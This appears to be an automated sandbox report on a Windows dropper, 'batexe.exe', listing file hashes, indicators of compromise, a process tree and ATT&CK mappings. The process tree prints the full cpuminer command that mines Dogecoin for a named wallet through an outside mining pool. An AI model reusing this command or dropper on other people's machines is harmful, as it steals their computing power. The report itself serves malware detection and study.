73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
288s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 06:31

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4652	b2e.exe
2312	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2312	cpuminer-sse2.exe
2312	cpuminer-sse2.exe
2312	cpuminer-sse2.exe
2312	cpuminer-sse2.exe
2312	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1464-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 4652	1464	batexe.exe	74
PID 1464 wrote to memory of 4652	1464	batexe.exe	74
PID 1464 wrote to memory of 4652	1464	batexe.exe	74
PID 4652 wrote to memory of 4992	4652	b2e.exe	75
PID 4652 wrote to memory of 4992	4652	b2e.exe	75
PID 4652 wrote to memory of 4992	4652	b2e.exe	75
PID 4992 wrote to memory of 2312	4992	cmd.exe	78
PID 4992 wrote to memory of 2312	4992	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BE00.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe

Filesize
15.9MB

MD5
ce61abcaa614868f6ff182d953244133

SHA1
260ccc0f006b52f839819630cd3ee1fb749e5e5f

SHA256
6bb3dc38eedf6dc1d9529c007cf1298fafa04a869d18a90696c0f61ca89be61d

SHA512
26a8daa40a761c5d0dad36f8194dddedebc45f8c6bd21a367a597fc038d025390911884de4ec15df5ed80a7fd167b880f83362dc46d860c44262094ca5e065d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB61.tmp\b2e.exe

Filesize
20.5MB

MD5
85bb94048c202ac8f42a3a0b0bf745af

SHA1
380ef217f640c6e84d4e7905cad107f92d57fcea

SHA256
6485f6a4b2f27c92844e9110ec88345fbafcef798eae0ad135d5cabd440b3780

SHA512
1122a02c4bf7db39def4f3d1184655eb96b739d1cd7e9247ba92b796c8b22749c3c9c45d18e19fb0ba93671c37d87e2b791d96c092cb340a35f0dd3431973536

Download Submit
C:\Users\Admin\AppData\Local\Temp\BE00.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
dc05e579bc637512d5fb931ab6af6ee6

SHA1
55ccc8787f0f379135fd0e16dbac97db4e304f22

SHA256
9452fb0034b4e6ec5c33fff5d2d5ceb75e94904bf4d3a1cc4a88b442c705d4ba

SHA512
89a2e00e5306a575dbb8188c2c0b0acb9ace5dbd0edbece5568684ba4e0845c122020c273ae6f20771710ff6003946f4f860f8e2e325002fb5feebda58e44c7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
960KB

MD5
5f088febb9167d9fa27631de416c40d9

SHA1
0e7cfc61e5cd1bb82c846c939d71388e2f9d5086

SHA256
869740b99a3d66f9e9decc133d9c3c4a2c14c3e7c62c512248da76f002387fce

SHA512
65e4cd0d550b852f50e426e53ff47bf1419a5cc1aaf07010b10b96f392148525950fd11dd3b1e8acda0916d288414629cde845cdc959ed7092e565ccb8ffa920

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1024KB

MD5
c6151ba2a5a47dc2053b8becbd8a0b68

SHA1
1f6d6821cc72fdc279db6c9ac0a4fbeec236f2f3

SHA256
1e2b0b487fca221e8095a470e0aeadf8151b008c54ec5f4c7a5b30582d88b90e

SHA512
c4ad99b39c67ce00f245da976fbddf54d6171b8fc33a60fc2fdaeedbf7b8615085de99069dc087c6b1890ad7a7486f559a2412dac7ab0cd301fe24867ebc1d25

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
960KB

MD5
f3707fd5b389e53285dfb3815a4785b8

SHA1
788b2ac7be4acb28e804021893e11cdd44ee0784

SHA256
f7ef0e3e60989fac5636e6e5a018b730b403b75889125b56c4d07d6279e94c94

SHA512
f11d8577758db08f597987f525b4fc4c8c3f5181255f89281300968dc90fe4b298c322e3f531f768cd5014d116bb7161365c9d3fbaa76ab835405d8a1e231f26

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
768KB

MD5
fe316f2b417e142dffa0e03efb65e1a4

SHA1
907805b2c3bc0a0791086cb5fc8e3a950bc78e6d

SHA256
aca06866767d9e0bbe1e9bef7efce1152d34243e1acefc5f7ac4f6a245456671

SHA512
8ebfa0700b00c4064d1ded11fc1b4001f01238ee0c4cf88a873e0ccf38c30a574d600649bfdef85f2e3aec5c279a43680f7a66604bc6f27bbda0219e3786774d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
704KB

MD5
ceb1ee23d68e973e400b41e7324c71b6

SHA1
0ad5540864cf9bcbf52870ba72566625ca54e67a

SHA256
66f2f5bd30986e28a4c43ed44264cc56f63bd7a3ecd6aeb5845ac7bcd724aeee

SHA512
51ce4a101517339cb1f5c23fc953dde73f871cec2bde8ea5c9fad9376366d7b8aadaa8668ef2f7bf9d873e8817345e4e337a7a94c42c3ddf6a168377af060e9c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
832KB

MD5
2bfa2b9803bf342837d2cfe9b2b57f64

SHA1
e89eec3559c4904ce523943fed97f3fa2534ab39

SHA256
38710a4ce8976e3e452fe43563f28f9a8259165fd68ca94f5d64f5f4a299b6ab

SHA512
d099f07ca1cb598bdd6f563d917fe3ddcf3f6f37b589f68da987426e416492acf3dbfb2e18387d9afb168308d55c9acfb568c3d31735ab307fc070ff4da93793

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1464-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2312-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2312-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2312-43-0x0000000073DA0000-0x0000000073E38000-memory.dmp

Filesize
608KB

Download
memory/2312-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2312-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2312-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4652-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4652-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download